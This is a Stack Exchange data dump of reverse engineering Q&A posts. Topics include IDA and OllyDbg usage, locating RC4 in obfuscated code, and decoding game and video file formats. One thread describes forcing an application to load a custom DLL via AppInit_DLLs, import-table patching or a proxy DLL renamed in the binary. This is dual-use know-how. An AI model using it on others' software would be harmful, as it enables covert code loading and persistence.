  <row Id="8120" PostTypeId="1" AcceptedAnswerId="8121" CreationDate="2015-01-29T17:52:30.907" Score="4" ViewCount="8926" Body="&lt;p&gt;I've added some functionality to existing application which works through dll injection - my dll loads and patches some stuff. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like it to be added to this application permanently so I don't have to inject it manually every time - I know there are some solutions such as:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Loader - another application that runs target application and then injects a dll&lt;/li&gt;&#xA;&lt;li&gt;Patch EP - patch entry of target application so it loads my dll before executing rest&lt;/li&gt;&#xA;&lt;li&gt;AppInit_DLL - making it loads to almost every process through this register entry and then checking if we are in the right one, unload otherwise&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But are those options most optimal? First and second requires some work (maybe there are some already existing tools of which I don't know and which allows it? so I don't have to prepare it all myself), and third seems a bit over-excessive. &#xA;Just to expand my knowledge - what are the other options?&lt;/p&gt;&#xA;" OwnerUserId="4563" LastActivityDate="2020-07-19T17:30:45.717" Title="Making application load dll at start" Tags="|patching|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8121" PostTypeId="2" ParentId="8120" CreationDate="2015-01-29T18:11:37.303" Score="5" Body="&lt;p&gt;You could also add the DLL to the EXE's Import Table. This has the benefit of not loading the DLL into every process that loads user32.dll (which is an issue with #3), and you can do this Import Table addition easily with a tool like &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/IIDKing&quot; rel=&quot;noreferrer&quot;&gt;IIDKing&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/IIDKing&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sxe2n.png&quot; alt=&quot;IIDKing&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-01-29T18:28:57.990" LastActivityDate="2015-01-29T18:28:57.990" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8122" PostTypeId="2" ParentId="8120" CreationDate="2015-01-29T18:19:24.347" Score="3" Body="&lt;p&gt;Here's what i did some time ago, when i had your problem. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use dependency walker to find a DLL that's imported by the main executable, from which the .exe imports only one or two functions. For the sake of example, let's assume your application &lt;code&gt;someprog.exe&lt;/code&gt; used a dll &lt;code&gt;vendor.dll&lt;/code&gt;, from which it imports the &lt;code&gt;ShowCopyright&lt;/code&gt; function.&lt;/li&gt;&#xA;&lt;li&gt;Using a hex editor, change the string &lt;code&gt;vendor.dll&lt;/code&gt; in the executable to &lt;code&gt;hacker.dll&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In the startup of your DLL, use &lt;code&gt;LoadLibrary(&quot;vendor.dll&quot;)&lt;/code&gt; and &lt;code&gt;GetProcAddress(&quot;ShowCopyright&quot;)&lt;/code&gt; to get a function pointer to the real &lt;code&gt;ShowCopyright&lt;/code&gt; function.&lt;/li&gt;&#xA;&lt;li&gt;Also, in your DLL, provide a &lt;code&gt;ShowCopyright&lt;/code&gt; export that does nothing but jump to the &lt;code&gt;ShowCopyright&lt;/code&gt; address you just retrieved.&lt;/li&gt;&#xA;&lt;li&gt;Rename your DLL &lt;code&gt;hacker.dll&lt;/code&gt; and put it into the application's search path.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note this depends a bit on how many DLLs the executable program imports, and if you find one where you don't have to &quot;simulate&quot; several dozen API entries, or resources, or whatever can be linked to a dll. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After finishing my post, i found Jason's answer, which seems to be a bit more professional and easier. But, at least, my solution needs no tools except a hex editor :-)&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-01-29T18:19:24.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8123" PostTypeId="2" ParentId="6140" CreationDate="2015-01-29T19:29:50.667" Score="1" Body="&lt;p&gt;I know its late answer but for future users:&#xA;To solve this you need to go to threads window, and then&lt;/p&gt;&#xA;&#xA;&lt;p&gt;right mouse button-&gt;resume all threads&lt;/p&gt;&#xA;" OwnerUserId="4563" LastActivityDate="2015-01-29T19:29:50.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8125" PostTypeId="1" AcceptedAnswerId="8126" CreationDate="2015-01-29T23:25:22.400" Score="1" ViewCount="2316" Body="&lt;p&gt;You have the IDA View and Hex View right. When on IDA View you select an instruction you can see the instruction selected in Hex View as well. However, if you select a &quot;data instruction&quot; like &quot;Format          = dword ptr -10h&quot; which is a stack variable, you don't see it in the hex view. It doesn't select the bytes corresponding to the variable definition. I mean I know the variable is going to be there in memory but somewhere on the hex view should tell me &quot;hey allocate this stack variable&quot; but it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's probably obvious by now, I'm a beginner in reverse engineering, I've been reading the book from &lt;a href=&quot;http://beginners.re/&quot; rel=&quot;nofollow&quot;&gt;http://beginners.re/&lt;/a&gt; . While I do know some assembly and have been able to reverse simple things, I have these knowledge gaps I'd like to fill. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="11615" LastEditorUserId="11615" LastEditDate="2015-01-30T00:31:51.380" LastActivityDate="2015-01-30T00:34:45.990" Title="ida pro stack variables in hex view" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8126" PostTypeId="2" ParentId="8125" CreationDate="2015-01-29T23:37:34.307" Score="2" Body="&lt;p&gt;Stack variables live in the stack's address space, not in the module's address space. Thus, there's nothing that the Hex View could show you statically.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-01-30T00:34:45.990" LastActivityDate="2015-01-30T00:34:45.990" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8128" PostTypeId="1" AcceptedAnswerId="8129" CreationDate="2015-01-30T03:16:30.673" Score="2" ViewCount="2132" Body="&lt;p&gt;I noticed that despite the imagebase for win32 executables be 0x400000, Ida Pro only starts the analysis at 0x401000. What is before that and how can I change IDA's settings to start the analysis at the imagebase? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="11615" LastEditorUserId="11615" LastEditDate="2015-01-30T03:28:50.153" LastActivityDate="2015-01-30T10:07:21.553" Title="How can I make IDA start the analysis at imagebase?" Tags="|ida|memory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8129" PostTypeId="2" ParentId="8128" CreationDate="2015-01-30T07:19:24.497" Score="6" Body="&lt;p&gt;PE executables start with a header block that consists of a little DOS exe stub (with its own little header), a structure called &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680336%28v=vs.85%29.aspx&quot; rel=&quot;noreferrer&quot;&gt;IMAGE_NT_HEADERS&lt;/a&gt;, and a section table. A normal PE has no 32-bit/64-bit executable code there, so IDA doesn't load the header block unless you check &quot;&lt;strong&gt;manual load&lt;/strong&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Microsoft's &lt;a href=&quot;https://msdn.microsoft.com/en-us/windows/hardware/gg463119.aspx&quot; rel=&quot;noreferrer&quot;&gt;PE COFF specification&lt;/a&gt; (currently at version 8.3)&lt;/li&gt;&#xA;&lt;li&gt;Matt Pietrek's classic &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms809762.aspx&quot; rel=&quot;noreferrer&quot;&gt;Peering Inside the PE: A Tour of the Win32 Portable Executable File Format&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;its sequel &lt;a href=&quot;https://msdn.microsoft.com/en-us/magazine/cc301805.aspx&quot; rel=&quot;noreferrer&quot;&gt;An In-Depth Look into the Win32 Portable Executable File Format&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;ReversingLabs' &lt;a href=&quot;https://media.blackhat.com/bh-us-11/Vuksan/BH_US_11_VuksanPericin_PECOFF_WP.pdf&quot; rel=&quot;noreferrer&quot;&gt;Undocumented PECOFF&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2015-01-30T10:07:21.553" LastActivityDate="2015-01-30T10:07:21.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8131" PostTypeId="1" CreationDate="2015-01-30T14:09:18.817" Score="4" ViewCount="10790" Body="&lt;p&gt;I want to find specific string in the EXE file but when I open the EXE file with OllyDBG and search for the All Referenced Strings I get bunch of texts in the comment area which are like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ASCII &quot;\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7\xDD\xF5\xE7&quot;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What should I do? What if I don't find the text in OllyDBG through search but I know it exists in the application (EXE file) ?&lt;/p&gt;&#xA;" OwnerUserId="11621" LastEditorUserId="53" LastEditDate="2015-01-30T14:58:23.537" LastActivityDate="2015-05-07T07:32:40.137" Title="Looking for the specific text in EXE file" Tags="|ollydbg|strings|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8133" PostTypeId="1" CreationDate="2015-01-30T16:25:40.660" Score="0" ViewCount="1654" Body="&lt;p&gt;Can you please suggest me good starting learning resources for Reverse Engineering. I am a complete newbie to reverse engineering but have good programming experience. I have experience in programming on Linux/C++ &amp;amp; Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate an example based approach as it becomes boring to learn tons of theory without getting a chance to apply it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3873" LastEditorUserId="53" LastEditDate="2015-02-25T16:18:27.190" LastActivityDate="2015-02-25T16:18:27.190" Title="Good resources to start learning Reverse Engineering" Tags="|career-advice|" AnswerCount="1" CommentCount="1" ClosedDate="2015-02-01T14:52:38.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="8134" PostTypeId="2" ParentId="8133" CreationDate="2015-01-30T19:06:45.110" Score="6" Body="&lt;p&gt;I recommend &lt;a href=&quot;http://beginners.re/&quot; rel=&quot;noreferrer&quot;&gt;http://beginners.re/&lt;/a&gt; . The book  is good, has plenty of examples and exercises.&lt;/p&gt;&#xA;" OwnerUserId="11615" LastActivityDate="2015-01-30T19:06:45.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8135" PostTypeId="2" ParentId="8131" CreationDate="2015-01-31T08:55:15.610" Score="0" Body="&lt;p&gt;in ollybbg goto View&gt;&gt;select Memory or press alt+M&#xA;righclick in memory window and select search.&#xA;you do this way after and before run program,if text not found.also you can search stack window and dump window, these are below the CPU window.&#xA;sorry my english is poor&lt;/p&gt;&#xA;" OwnerUserId="11623" LastActivityDate="2015-01-31T08:55:15.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8137" PostTypeId="1" CreationDate="2015-01-31T14:15:31.510" Score="1" ViewCount="1427" Body="&lt;p&gt;I have recorded a video from a set top box which I am not able to see on my computer/laptop. I have already tried multiple video converter softwares and converting it too. &#xA;Please !! I would really appreciate if someone could help me in watching and decoding and reverse engineer this file format. Also, I dont know which tags to include in this question. If somebody could suggest some tags, I would change it accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the file here (8 MB only, a small recording)&#xA;&lt;a href=&quot;https://www.dropbox.com/s/5d62xkm1kj4sq7p/193135ZEE%20CLASSIC0.mpg?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/5d62xkm1kj4sq7p/193135ZEE%20CLASSIC0.mpg?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11630" LastEditorUserId="53" LastEditDate="2015-02-25T16:17:38.390" LastActivityDate="2015-02-25T16:17:38.390" Title="Reverse Engineer Video File Format" Tags="|digital-forensics|binary-format|" AnswerCount="1" CommentCount="0" ClosedDate="2015-02-06T21:51:01.733" ContentLicense="CC BY-SA 3.0" />
  <row Id="8139" PostTypeId="2" ParentId="8137" CreationDate="2015-01-31T15:52:53.260" Score="9" Body="&lt;p&gt;The first byte of the file is &lt;code&gt;0x47&lt;/code&gt;, &lt;a href=&quot;http://www.garykessler.net/library/file_sigs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;which suggests&lt;/a&gt; that it's an &lt;a href=&quot;https://en.wikipedia.org/wiki/MPEG_transport_stream&quot; rel=&quot;nofollow noreferrer&quot;&gt;MPEG transport stream&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &lt;a href=&quot;http://www.sweetscape.com/010editor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;010 Editor&lt;/a&gt; to create the following template for the file to parse it as an array of &lt;a href=&quot;https://en.wikipedia.org/wiki/MPEG_transport_stream#Packet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Partial Transport Stream Packets&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct {&#xA;    BYTE sync_byte &amp;lt;format=hex&amp;gt;;&#xA;    WORD transport_error_indicator : 1;&#xA;    WORD payload_unit_start_indicator : 1;&#xA;    WORD transport_priority : 1;&#xA;    WORD pid : 13;&#xA;    enum &amp;lt;BYTE&amp;gt; SCRAMBLE { not_scrambled=0, reserved=1, even_key=2, odd_key=3 } scrambling_control : 2;&#xA;    BYTE adaptation_field_exist : 1;&#xA;    BYTE contains_payload : 1;&#xA;    BYTE continuity_counter : 4;&#xA;    BYTE payload_data[188-4];&#xA;} TS_PACKET;&#xA;&#xA;TS_PACKET packets[FileSize()/sizeof(TS_PACKET)];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Applying the above template to the file yields the following results:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/x9NZ0.png&quot; alt=&quot;010 Editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see above (circled in red), each packet's payload is encrypted with a &lt;a href=&quot;https://en.wikipedia.org/wiki/Common_Scrambling_Algorithm&quot; rel=&quot;nofollow noreferrer&quot;&gt;DVB-CSA&lt;/a&gt; key. So it would appear that you would need that key in order to be able to decrypt the video stream's data.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-01-31T15:52:53.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8141" PostTypeId="1" CreationDate="2015-02-01T06:35:06.720" Score="1" ViewCount="3517" Body="&lt;p&gt;I recently got a copy of a space game and id like to be able to extract the audio/models from the game. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attached an example .ovl file and a .aux file below. &#xA;I have no knowledge on reverse engineering file formats.&#xA;So I'm sorry if I'm not the best at learning things. &#xA;However i will try to do the best that I can.  I was able to gather a bit of information on the web. However no one has archived this yet.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;'The OVL and OVS files are compressed with zlib. OVL files make up&#xA;  parts of a virtual serialized filesystem, and are partially&#xA;  compressed. OVS files are completely compressed and contains most of&#xA;  the bulk data. Can't give you more info than that at the moment as I'm&#xA;  at work and I've not looked at them for a while.'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is the top of the .aux file in hex workshop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cjArV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .ovl file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SsZx8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick Update: I was able to extract some of the files and get the proper name. However, I'm not able too play them. They're corupt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this quickbms script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.xentax.com/viewtopic.php?f=13&amp;amp;p=74664#p74664&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://forum.xentax.com/viewtopic.php?f=13&amp;amp;p=74664#p74664&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9dW9Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OVL FILE DOWNLOAD: &#xA;/mega.co.nz/#!Cx5nHLTa!JgTCENPHMY4MD1LeOLFhwwt8DcZr8pngforLIdPibqs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AUX FILE DOWNLOAD: &#xA;/mega.co.nz/#!60YAkQ5Q!6M_aexZSx8JyE7GQAKi1K1qD17n9ULOMGKM7t26BaUs&lt;/p&gt;&#xA;" OwnerUserId="11637" LastEditorUserId="11637" LastEditDate="2015-02-05T01:03:08.720" LastActivityDate="2015-02-05T01:03:08.720" Title="Extracting .ovl and .aux files?" Tags="|decompress|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8142" PostTypeId="1" CreationDate="2015-02-01T14:55:11.593" Score="4" ViewCount="1485" Body="&lt;p&gt;RC4 encryption is quite basic and its Pseudo random generation algorithm is given at &lt;a href=&quot;http://en.wikipedia.org/wiki/RC4#Pseudo-random_generation_algorithm_.28PRGA.29&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Looking for a hashing algorithm like MD5 or SHAx it is pretty simple to look for the Hashing constants in the code, for example to find the MD5 code most times looking for the byte sequense of &lt;strong&gt;0x01234567&lt;/strong&gt; is enough and you'd probably hit the function iterating the text section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that example gives the MD5 function. but what if i would like to find an implementation of the symmetric RC4 encryption? would there be any obvious opcode sequense that would repeat itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking that question because im working on some heavily anti-debugging obfuscated piece of code with no symbols. I know for a high chance (like 90% sure) it is using a RC4 encryption. now i want to be able to find that RC4 function just like i was able to find the MD5 hashing functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just in case i was wrong, and its not hard-coded inside the main executable itself (Because md5 is, so i can assume it should be too), i have already tried to set a BreakPoint at &lt;strong&gt;&lt;em&gt;CRYPTSP!CryptEncrypt&lt;/em&gt;&lt;/strong&gt; with no success, are there any alternative Api functions to Encrypt using RC4?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to sum my questions up:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there any static opcode usage or number in the assembly of an RC4 encryption?&lt;/li&gt;&#xA;&lt;li&gt;Are there any alternative WinAPI calls for encrypting using RC4 encryption beside &lt;em&gt;CRYPTSP!CryptEncrypt&lt;/em&gt;?&lt;/li&gt;&#xA;&lt;li&gt;Any other way to look for the RC4 encryption algorithm you can help me think about is blessed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11510" LastActivityDate="2022-07-20T09:08:25.667" Title="finding a RC4 Encryption function in obfuscated assembly code with no symbols" Tags="|assembly|ollydbg|obfuscation|encryption|winapi|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8144" PostTypeId="2" ParentId="8142" CreationDate="2015-02-01T15:56:58.483" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Is there any static opcode usage or number in the assembly of an RC4 encryption?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Opcode: Search the disassembly for &lt;code&gt;xor &amp;lt;x&amp;gt;, &amp;lt;y&amp;gt;&lt;/code&gt; where &lt;code&gt;&amp;lt;x&amp;gt;&lt;/code&gt; != &lt;code&gt;&amp;lt;y&amp;gt;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Number: Search for &lt;code&gt;0x100&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Obviously both of these searches will yield many false-positives, so you'd have to look at each match manually to see if it's part of an RC4 function.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;Are there any alternative WinAPI calls for encrypting using RC4 encryption beside &lt;em&gt;CRYPTSP!CryptEncrypt&lt;/em&gt;?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Every time I see software using RC4, the RC4 code is always written inline, not imported from a dynamic library.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;3&quot;&gt;&#xA;  &lt;li&gt;Any other way to look for the RC4 encryption algorithm you can help me think about is blessed.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could try &lt;a href=&quot;https://code.google.com/p/aligot/&quot; rel=&quot;nofollow&quot;&gt;Aligot&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-02-01T15:56:58.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8145" PostTypeId="1" AcceptedAnswerId="8165" CreationDate="2015-02-01T21:45:43.547" Score="4" ViewCount="299" Body="&lt;p&gt;I am trying to get the sprites from a game from 1997 called Swing (US: Marble Master). The file is called &lt;a href=&quot;https://drive.google.com/file/d/0BwnokKRE3G8URVdKWmdLSy1nM0E/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;NORMAL.SET&lt;/a&gt; and contains a set of sprites. There is an executable named SHOWSET.EXE that displays the entire set after printing a number on each sprite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also a file called &lt;a href=&quot;https://drive.google.com/open?id=0BwnokKRE3G8UdU5VTFVVMFkwME0&amp;amp;authuser=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;HINTERH.SWG&lt;/a&gt; (SWG probably stands for SWING). I was able to figure out what this file type is using TiledGGD! It is raw data without headers, has the size 640x480, 16 bpp, big endian, (A)RGB. See Screenshot below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6WsaQ.png&quot; alt=&quot;HINTERH.SWG opened in TiledGGD&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the same settings in TiledGGD I get a close approximation of the &lt;a href=&quot;https://drive.google.com/file/d/0BwnokKRE3G8URVdKWmdLSy1nM0E/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;NORMAL.SET&lt;/a&gt; image. Below you find the output from SHOWSET.EXE (left), aswell as the image how TiledGGD displays it (right).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rbr2h.png&quot; alt=&quot;NORMAL.SET as displayd in game and in TiledGGD&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a screenshot of the SHOWSET.EXE output, I was able to get close to the codec (?correct term?) used for the pixel data in the NORMAL.SET. I do believe it is based on 16-bit ARGB1555, but still different. Below you see the image extracted from the screenshot. Let's call it screenshot-sprite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E5Q7s.png&quot; alt=&quot;Sprite extracted from Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those are the first 192 bytes from NORMAL.SET&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;47 69 62 20 6D 69 72 20 27 6E 65 20 4B 75 67 65&#xA;6C 0A 00 1A 73 74 61 6E 64 61 72 64 00 00 00 00&#xA;00 00 00 00 9D 4F DD 32 00 00 00 00 68 27 01 00&#xA;14 00 01 0F 1E 00 1E 00 2C 03 00 00 03 00 00 00&#xA;00 00 00 00 03 00 0A 00 90 08 90 08 90 08 90 08 &amp;lt;1,2---&#xA;8F 08 8F 08 8E 08 6D 08 6C 04 6B 04 03 00 0A 00&#xA;03 00 08 00 90 08 91 08 91 08 91 08 91 08 91 08&#xA;90 08 90 08 8F 08 8E 08 6D 08 6C 04 6A 04 4A 04&#xA;03 00 08 00 03 00 06 00 91 08 91 08 B2 08 B2 08&#xA;B2 08 B2 08 B2 08 B2 08 B2 08 91 08 90 08 8F 08&#xA;8E 08 6D 08 6C 04 6B 04 49 04 48 04 03 00 06 00&#xA;03 00 05 00 90 08 B2 08 B2 08 B3 08 B3 0C B3 0C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those are the first 192 bytes from the screenshot-sprite.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;42 4D 50 07 00 00 00 00 00 00 46 00 00 00 38 00&#xA;00 00 1E 00 00 00 E2 FF FF FF 01 00 10 00 03 00&#xA;00 00 0A 07 00 00 3B 00 00 00 3B 00 00 00 00 00&#xA;00 00 00 00 00 00 00 7C 00 00 E0 03 00 00 1F 00&#xA;00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 &amp;lt;1---&#xA;00 00 00 00 00 00 00 00 00 00 90 08 90 08 90 08 &amp;lt;2---&#xA;90 08 8F 08 8F 08 8E 08 6D 08 6C 04 6B 04 00 00&#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;00 00 90 08 91 08 91 08 91 08 91 08 91 08 90 08&#xA;90 08 8F 08 8E 08 6D 08 6C 04 6A 04 4A 04 00 00&#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see the point where the data does probably begin (arrow 1), you see a similar hex string &lt;code&gt;90 08 90 08 90 08&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also see that the data in the screenshot-sprite probably begins with 10 byte-pairs (arrow 2). In the NORMAL.SET you find &lt;code&gt;0A 00&lt;/code&gt;. Now I read about RLE and with some fantasy I could see a link between 10 byte-pairs and &lt;code&gt;0A 00&lt;/code&gt; which I could translate into &quot;ten times a black pixel&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still confused why I see two blue sprites in the NORMAL.SET, where in the screenshot there is only one blue sphere. But that is something I would care about at a later time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;&lt;br&gt;&#xA;At this point I am quite sure that I am on the right track! I think RLE decompression is the only thing missing here, besides figuring out where the data starts and what the headers are supposed to mean. Maybe they aren't even of much use to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure, if I still have a question at the moment. If nobody disagrees, I would keep this here until I figured out the rest in the hopes that someday, to someone this will be helpful. I will update this as soon as I solved the riddle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until the, if you got a a solution for the RLE ready, don't be shy to post ;)&lt;/p&gt;&#xA;" OwnerUserId="11635" LastEditorUserId="53" LastEditDate="2015-02-25T16:16:20.513" LastActivityDate="2015-02-25T16:16:20.513" Title="Some help with sprite graphic" Tags="|digital-forensics|binary-format|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8146" PostTypeId="1" AcceptedAnswerId="8152" CreationDate="2015-02-01T22:46:41.923" Score="0" ViewCount="244" Body="&lt;p&gt;I've had two laptops, one Sony and another Acer. Sony laptops backlight can be decreased quite a bit, however the Acer laptops backlight brightness is too much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering where these values sit and if there is a possibility to lower the laptop screen backlight brightness any lower than their current settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if this question belongs here but I've asked around a bit in forums and usual answer is to simply decrease brightness using GPU software. Yet this does nothing to the actual backlights, which in the night are eye piercing.&lt;/p&gt;&#xA;" OwnerUserId="11640" LastActivityDate="2015-02-03T14:59:12.933" Title="Laptop monitor backlight" Tags="|hardware|" AnswerCount="1" CommentCount="6" ClosedDate="2015-02-05T06:51:40.143" ContentLicense="CC BY-SA 3.0" />
